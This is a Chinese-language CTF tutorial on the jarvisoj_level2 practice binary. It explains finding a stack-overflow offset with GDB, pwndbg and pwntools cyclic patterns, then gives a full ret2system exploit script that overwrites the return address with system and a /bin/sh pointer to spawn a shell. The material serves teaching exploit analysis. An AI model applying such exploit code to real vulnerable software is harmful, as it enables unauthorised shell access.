1. 项目概述：从“盲打”到“可视化”的漏洞分析进阶

在二进制安全，尤其是CTF（Capture The Flag）竞赛和漏洞分析的学习初期，很多朋友都经历过一个“盲打”阶段。所谓“盲打”，就是面对一个已知存在栈溢出漏洞的程序，我们通过静态分析（比如用IDA Pro看反汇编）大致确定漏洞点，然后写一个脚本，用一串“AAAA...”或者“cyclic”生成的模式字符串去覆盖，寄希望于程序崩溃后，能通过崩溃信息（比如eip寄存器变成了0x41414141，也就是‘AAAA’）来反推出偏移量。这个过程充满了不确定性，尤其是在程序逻辑稍微复杂一点，或者栈布局有变化时，往往需要反复修改脚本、重新运行、查看结果，效率低下且挫败感强。

今天要聊的jarvisoj_level2，就是一个经典的、用于教学和练习的栈溢出漏洞程序。我们的目标不是仅仅“打通”它，而是彻底告别这种低效的“盲打”模式。我们将采用一种更高级、更可控的方法：结合GDB动态调试与Python pwntools脚本进行交互式分析。这种方法的核心思想是，让调试器（GDB）成为我们眼睛和手在程序运行时的延伸。我们不再被动地等待程序崩溃后去看日志，而是主动地在程序执行的关键节点（比如即将执行ret指令，从栈上弹出返回地址的那一刻）暂停它，直接查看和修改内存、寄存器的状态，从而精准地定位漏洞、构造利用载荷。

简单来说，这就像外科手术。以前是蒙着眼睛凭感觉下刀（盲打），现在是有了实时影像（GDB动态调试）和精密的机械臂（pwntools自动化脚本），可以看着病灶（栈状态）进行精准操作。通过这个项目，你将掌握一套实战中极其高效的漏洞分析工作流，它适用于分析jarvisoj_level2这类入门题，也同样能应用于更复杂的真实世界漏洞。

2. 环境准备与工具链搭建

工欲善其事，必先利其器。在开始动态调试之前，我们需要一个稳定、功能齐全的工作环境。这里我推荐在Linux系统下进行，因为GDB和相关的二进制工具链在Linux上最为原生和强大。我个人的主力环境是Ubuntu 22.04 LTS，以下步骤均基于此，其他发行版可能略有差异，但核心思路一致。

2.1 核心工具安装与验证

首先，安装必不可少的工具。打开终端，执行以下命令：

sudo apt update sudo apt install -y gdb gdb-multiarch python3 python3-pip

• gdb: GNU调试器，我们的核心动态分析工具。gdb-multiarch是一个增强版本，支持多种处理器架构（如ARM, MIPS），在CTF中遇到非x86架构的题目时非常有用，建议一并安装。
• python3&pip: Python3环境及包管理工具，用于安装pwntools。

接下来，安装本次项目的“自动化利器”——pwntools。它不是一个普通的Python库，而是一个为CTF和漏洞利用开发量身定制的框架。

pip3 install pwntools

安装完成后，强烈建议验证一下。在终端输入python3进入交互模式，然后输入import pwn。如果没有报错，说明安装成功。你可以顺便查看一下版本：pwn.version。我当前使用的是4.12.0版本。

2.2 增强GDB：配置PEDA/GEF/Pwndbg

原生的GDB功能强大但命令行界面不太友好，尤其是在查看内存、寄存器、栈布局时。因此，社区诞生了几款优秀的GDB增强插件，它们能极大地提升调试效率。三者选其一即可，我个人长期使用Pwndbg，因为它对漏洞利用场景的支持非常到位，界面信息丰富且直观。

这里以安装Pwndbg为例：

cd ~ git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

这个安装脚本会自动处理依赖并完成配置。安装完成后，任何时候启动GDB，都会自动加载Pwndbg。你可以通过gdb -q ./your_binary来快速体验一下，界面应该变成了带有颜色高亮、寄存器、反汇编、栈视图的增强界面。

注意：如果你之前安装过其他GDB插件（如PEDA），可能会存在冲突。一个干净的~/.gdbinit配置文件是避免问题的关键。如果遇到问题，可以备份并清空~/.gdbinit，然后重新运行Pwndbg的setup.sh。

2.3 目标程序获取与初步检查

假设你已经从Jarvis OJ平台下载了level2这个题目文件。首先，给它加上可执行权限，并进行一些基础检查，这对后续分析至关重要。

chmod +x level2 file level2 checksec --file=level2

file命令会告诉你这是一个32位还是64位的ELF可执行文件。checksec是pwntools自带的一个脚本（如果单独安装也可用checksec命令），用于检查程序的安全编译选项。对于jarvisoj_level2，你大概率会看到类似下面的输出：

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)

这是一个极好的消息！它告诉我们：

• 架构是32位（i386）：这意味着函数参数是通过栈传递的，对我们计算偏移量有直接影响。
• 没有栈保护（No canary）：栈上不会有随机值来检测溢出，我们可以放心地覆盖。
• NX（数据执行保护）关闭：栈上的数据（比如我们注入的shellcode）可以被当作指令执行。这为我们提供了多种利用方式（如ret2shellcode）。
• PIE（地址随机化）关闭：程序的加载基地址是固定的（0x8048000），这意味着函数、字符串的地址在每次运行时都是相同的，我们可以在脚本中硬编码这些地址。

这些安全机制的缺失，正是这道题被设计为入门题的原因，它让我们可以专注于理解栈溢出和利用构造本身，而不被现代缓解措施干扰。

3. 静态分析：理解漏洞成因与程序逻辑

在动起调试器之前，我们需要先用静态分析工具摸清程序的“骨架”。这里主要使用objdump和IDA Pro（或开源的Ghidra、radare2）。我以objdump和readelf这些命令行工具为例，因为它们更通用。

3.1 寻找入口点与危险函数

首先，查看程序入口和符号表：

objdump -f level2 # 查看文件头，确认入口地址 readelf -s level2 | grep -E “(main|vuln|system)” # 查找关键函数符号 objdump -d level2 | less # 反汇编整个程序，用/搜索字符串或函数

更直接的方法是寻找明显的危险函数调用，比如gets,scanf,strcpy等不检查边界函数。对于这道题，通常漏洞函数名会直接叫vulnerable_function或main里直接调用了gets。

strings level2 # 查看程序中的字符串，有时能发现`/bin/sh`或提示信息

通过静态分析，我们很快就能定位到核心漏洞函数。假设我们通过反汇编发现了一个函数，它调用了gets来读取输入到一个栈上的缓冲区。关键是要看这个缓冲区的大小和它相对于栈帧底部（ebp）的位置。

3.2 关键地址的收集

在关闭PIE的情况下，我们可以直接获取一些硬编码的地址，这在构造利用时必不可少。

1. system函数地址：这是我们要劫持控制流后跳转的目标。

   objdump -d level2 | grep “<system@plt>”

   或者用pwntools在脚本里找：

   from pwn import * elf = ELF(‘./level2’) system_addr = elf.plt[‘system’] # 如果动态链接，找PLT表地址 # 或者如果静态链接了libc，可能需要找got表或直接是符号地址 # 对于此题，通常就是 elf.symbols[‘system’] 或 elf.plt[‘system’] print(hex(system_addr))

2. /bin/sh字符串地址：作为system函数的参数。

   strings -t x level2 | grep “/bin/sh” # -t x 显示字符串在文件中的偏移

   注意，strings找到的是文件偏移，需要加上程序的加载基地址0x8048000才能得到运行时内存地址。更稳妥的方法是用pwntools搜索：

   bin_sh_addr = next(elf.search(b’/bin/sh\x00’)) # 搜索字节序列 print(hex(bin_sh_addr))

3. 漏洞函数返回地址的偏移量：这是静态分析无法精确给出的，因为编译器优化、对齐等因素会影响栈帧的实际布局。我们只能通过反汇编估算缓冲区到ebp的距离，但精确值必须通过动态调试确定。这也是我们告别“盲打”的核心原因之一。

4. 动态调试实战：精准定位偏移与观察栈状态

现在进入最核心的环节。我们将启动GDB，在关键位置下断点，一步步观察程序执行时栈的变化。

4.1 启动调试并设置断点

首先，用增强后的GDB加载程序：

gdb -q ./level2

在Pwndbg界面中，我们先反汇编疑似漏洞函数（假设叫vuln）：

disass vuln

找到调用gets或类似函数的指令地址，以及函数结尾的leave; ret指令地址。在这两个地方下断点（breakpoint）。

b *0x8048xxx # 在gets调用前下断点，观察初始栈状态 b *0x8048yyy # 在函数返回（ret指令）前下断点，观察被覆盖后的栈状态

运行程序：

r

程序会在第一个断点处暂停。此时，我们重点观察栈布局。

4.2 关键栈帧分析与偏移计算

在第一个断点处，输入以下命令查看栈帧信息：

info frame

这个命令会显示当前栈帧的详细信息，包括ebp和eip的值。

更直观的是查看ebp和esp寄存器指向的栈区域：

x/20wx $esp # 查看栈顶附近20个字（4字节）的内存，以16进制显示 x/20wx $ebp # 查看栈底附近的内存

我们需要找到缓冲区开始的位置。通常，缓冲区是通过sub esp, 0x??指令在栈上分配的。在反汇编中看到类似sub esp, 0x40的指令，就说明分配了0x40（64）字节的栈空间。缓冲区起始地址通常是ebp - 0x??。

计算偏移的核心逻辑：在32位程序中，函数返回时，会执行leave（相当于mov esp, ebp; pop ebp）和ret（相当于pop eip）指令。ret指令会从当前esp指向的位置弹出一个值到eip，作为下一条要执行的指令地址。我们的目标就是用目标地址（如system的地址）覆盖这个位置。

那么，从我们输入的缓冲区的起始地址，到保存返回地址的内存位置，中间的距离就是偏移量。假设缓冲区起始于ebp - 0x4c，那么：

• ebp本身占用4字节（保存的上一个函数的ebp）。
• 返回地址位于ebp + 4的位置。
• 因此，从缓冲区开始 (ebp - 0x4c) 到返回地址 (ebp + 4) 的距离是0x4c + 4 = 0x50（即十进制的80）字节。

但这只是理论计算！编译器可能会为了对齐插入填充字节，或者gets的行为有细微差别。我们必须通过动态调试验证。

4.3 使用Pattern字符串验证偏移

这是告别“盲打”的关键一步。我们不在外部脚本里盲目尝试，而是在调试器内部精准验证。

在GDB中，我们可以使用pwntools的cyclic功能生成一个模式字符串（或者GDB的pattern create）。更集成化的方式是写一个简单的pwntools脚本，但以调试模式运行。

首先，在GDB外准备一个Python脚本test_offset.py：

from pwn import * context(arch=‘i386’, os=‘linux’) # 生成一个200字节的独特模式字符串 pattern = cyclic(200) print(pattern) # 或者直接发送给进程，但这里我们先打印出来

运行这个脚本，把生成的长字符串复制下来。回到GDB，让程序继续执行（c），当程序提示输入时，将这段模式字符串粘贴进去。

程序应该会崩溃。关键来了：查看崩溃时eip寄存器的值！

info registers eip

假设eip的值是0x6161616c（‘laaa’的ASCII码）。现在，我们用cyclic工具来反查这个值出现在我们模式串的哪个位置。

在另一个终端，或者GDB里如果集成了pwntools可以：

from pwn import * cyclic_find(0x6161616c) # 注意是小端字节序，实际值可能需要调整

或者用命令行：

python3 -c “from pwn import *; print(cyclic_find(0x6161616c))”

这个命令会输出一个数字，比如84。这个数字就是精确的偏移量——从我们输入的缓冲区开始，到覆盖返回地址的那个位置，需要填充的字节数。

实操心得：一定要用cyclic生成的字符串，而不是简单的”A”*100。因为cyclic字符串的每个4字节片段都是唯一的，可以精确定位。而一串”A”（0x41414141）无法告诉你到底是第几个A覆盖了eip。

4.4 观察崩溃瞬间的栈状态

在崩溃后（即ret指令试图跳转到被我们覆盖的地址时），我们可以详细检查栈的状态。

x/40wx $esp # 查看栈顶附近大片区域

你会看到栈上充满了我们输入的cyclic字符串的片段。找到esp指向的位置，那里应该就是我们覆盖的“返回地址”（现在是一个无意义的cyclic片段）。再往上（低地址方向）看，应该就是我们填充的“垃圾数据”。往下（高地址方向）看，可能就是system函数执行后我们想要它看到的参数。

通过这个动态的过程，我们不仅验证了偏移量，还直观地看到了整个栈帧被我们输入数据“塑造”后的样子，这对于后续构造复杂的ROP链或布局参数至关重要。

5. 利用脚本编写与pwntools自动化

有了精确的偏移量（假设是84字节）和关键地址（system_addr,bin_sh_addr），我们就可以构造最终的利用脚本了。pwntools的强大之处在于它能无缝连接本地调试、远程攻击和自动化交互。

5.1 基础利用脚本框架

创建一个exp.py文件：

#!/usr/bin/env python3 from pwn import * # 设置上下文，自动处理架构和系统调用 context(arch=‘i386’, os=‘linux’) # 如果你想让pwntools输出详细的发送/接收数据日志，可以取消下面这行的注释 # context.log_level = ‘debug’ # 加载目标文件，方便自动解析符号和地址 elf = ELF(‘./level2’) # 获取关键地址（方法需根据实际题目调整） # 假设通过之前分析得到： system_addr = elf.plt[‘system’] # 或者 elf.symbols[‘system’] bin_sh_addr = next(elf.search(b’/bin/sh\x00’)) # 计算出的精确偏移量 offset = 84 # 构造payload payload = flat([ b’A’ * offset, # 填充垃圾数据直到返回地址处 system_addr, # 覆盖返回地址，跳转到system函数 0xdeadbeef, # system函数执行后的返回地址（我们不在乎，可以填任意值） bin_sh_addr # system函数的第一个参数：指向“/bin/sh”字符串的指针 ]) # 注意：在32位栈传参约定下，函数返回后，栈顶（esp）指向的是我们填充的“返回地址”的下一个位置。 # 所以，`system_addr`被ret指令弹出到eip后，esp会指向我们填充的`0xdeadbeef`。 # 但system函数被调用时，它会从esp+4的位置找它的第一个参数（因为call指令会压入返回地址）。 # 因此，我们在`system_addr`后面先放一个假的返回地址（0xdeadbeef），再放真正的参数（bin_sh_addr）。 # 这是一种经典的“栈调整”技巧。 print(“[*] System address:”, hex(system_addr)) print(“[*] /bin/sh address:”, hex(bin_sh_addr)) print(“[*] Payload length:”, len(payload)) # 选择交互方式 # 方式1：本地运行程序 io = process(‘./level2’) # 方式2：附加到正在被GDB调试的进程（用于动态调试脚本） # io = gdb.debug(‘./level2’, gdbscript=‘’‘ # b *vuln_function_return_address # c # ’’’) # 发送payload io.sendline(payload) # 将控制权交还给用户，进入交互模式（拿到shell后可以执行命令） io.interactive()

5.2 与GDB深度结合：调试你的利用脚本

“告别盲打”的精髓在于可视化地调试整个利用过程。pwntools的gdb.debug()功能让我们可以在脚本中直接启动一个被GDB调试的进程。

修改脚本中的io初始化部分：

io = gdb.debug(‘./level2’, gdbscript=’’’ # 在漏洞函数返回前断点，观察payload是否准确覆盖 b *0x8048xxx # 替换为实际的ret指令地址 c ’’')

这样，当你运行exp.py时，会自动弹出一个GDB窗口（或保持在终端），并在指定断点处暂停。此时你可以用GDB命令检查内存，确认eip是否被正确覆盖为system_addr，栈上system_addr后面是不是跟着bin_sh_addr。

你甚至可以单步执行（ni或si），跟踪跳转到system函数，并观察它是否成功加载了/bin/sh参数。这种“所见即所得”的调试方式，能让你对漏洞利用的每一个字节都了然于胸。

5.3 处理输入与输出：应对各种情况

有些程序可能有额外的输出或输入格式要求。pwntools提供了丰富的交互函数：

• io.recvuntil(b”string”): 接收数据，直到遇到指定字符串。常用于接收菜单或提示。
• io.sendline(payload): 发送一行数据（自动加换行符）。
• io.send(payload): 发送原始数据，不加换行。
• io.interactive(): 将控制权交给用户，进行手动交互（如拿到shell后输入命令）。

对于level2，通常很简单，直接sendlinepayload即可。但养成先接收提示再发送的好习惯，能让你的脚本更健壮。

6. 常见问题、调试技巧与深度优化

在实际操作中，你几乎一定会遇到一些问题。下面是我总结的一些常见坑点和解决技巧。

6.1 偏移量计算不准

• 症状：脚本执行后，程序崩溃，但没拿到shell，GDB显示eip被覆盖成了错误的值（不是system_addr）。
• 排查：
  1. 检查地址是否正确：在GDB中用print system或x system验证system函数的运行时地址是否和脚本里硬编码的一致。确保没有因为ASLR（但此题PIE关闭）或动态链接导致地址变化。
  2. 验证偏移量：务必使用cyclic字符串在动态调试中精确计算偏移，不要依赖静态分析的理论值。
  3. 注意栈对齐：某些情况下，编译器或函数调用约定可能会要求栈指针esp在函数调用时按16字节对齐。这可能导致实际布局与简单计算有出入。在ret指令前用GDB检查esp的值，看是否是0x???????0结尾。

6.2 system函数执行失败

• 症状：成功跳转到system，但执行后程序异常退出，没有弹出shell。
• 排查：
  1. 参数位置错误：这是最常见的原因。回顾前面脚本中的注释。在32位系统中，call system指令会先将返回地址压栈，然后跳转。所以system函数期望它的参数在返回地址之上。我们的payload布局必须是：[填充][system_addr][fake_ret_addr][arg1]。用GDB在system函数入口处查看栈内存，确认$esp+4的位置是不是/bin/sh的地址。
  2. 字符串结尾：确保搜索到的/bin/sh字符串是以空字符（\x00）结尾的，否则system会一直读取直到遇到空字符，可能读取到非法内存。
  3. 环境问题：极少数情况下，system函数需要特定的环境变量。可以尝试使用execve系统调用构造更稳定的shellcode，但这超出了本题基础范围。

6.3 GDB环境与程序独立运行环境差异

• 症状：在GDB里调试时利用成功，能拿到shell，但直接运行脚本（python3 exp.py）却失败了。
• 原因与解决：这是初学者最大的噩梦之一。GDB调试时，环境变量、文件描述符、终端设置、甚至栈的初始状态都可能与独立运行时有细微差别，导致内存地址（特别是环境变量和栈地址）发生变化。
  • 最经典的差异：GDB中，esp的初始值可能比独立运行时略高，因为GDB会压入一些额外的信息。这会导致我们计算的基于绝对地址的偏移失效。
  • 解决方案：
    1. 使用相对偏移而非绝对地址：如果可能，构造不依赖绝对栈地址的payload（如ROP链）。
    2. 在GDB内外使用相同的环境：在shell中运行env -i /path/to/level2可以清空环境变量，减少差异。在脚本中也可以用process(‘./level2’, env={})来模拟。
    3. 核心技巧：在GDB外调试：使用gdb.debug()本身就是一种混合模式。更彻底的方法是，先让程序在GDB外运行，然后用gdb -p PID附加（Attach）到进程上。在pwntools脚本中，可以在process启动后，暂停一下，打印出进程ID，然后手动附加GDB。
    4. NOP雪橇：如果攻击涉及在栈上执行代码（本题NX关闭，所以可以），可以在shellcode前加一大段\x90（NOP指令），增加命中的容错率。

6.4 pwntools连接与超时问题

• 症状：脚本卡住，没有输出。
• 排查：
  1. 检查是否在send之后忘记recv，导致程序在等待输出而脚本在等待输入，造成死锁。
  2. 对于远程题目，网络延迟可能导致超时。可以设置context.timeout。
  3. 使用context.log_level = ‘debug’，查看所有发送和接收的原始数据，这是最强大的排错手段。

6.5 高级技巧：利用GDB脚本自动化验证

你可以编写一个GDB脚本（.gdb文件）来自动化整个调试过程，比如自动在断点处检查内存、寄存器，并与预期值对比。这对于反复测试payload的微小调整非常有用。

例如，创建一个check.gdb：

file ./level2 b *0x8048xxx r < <(python3 -c “print(‘A’*84 + ‘BBBB’ + ‘CCCC’)”) # 这里注入测试payload x/wx $ebp+4 # 查看返回地址是否被覆盖为’BBBB’ c

然后在GDB中用source check.gdb执行。

通过这个结合GDB动态调试与pwntools自动化的项目，你不仅能够攻克jarvisoj_level2，更重要的是掌握了一套适用于真实漏洞分析的方法论。从静态分析寻找蛛丝马迹，到动态调试精准定位，再到利用脚本自动化攻击与验证，每一步都清晰可控。下次再遇到栈溢出漏洞，你完全可以自信地打开GDB，告别蒙眼狂奔的“盲打”时代了。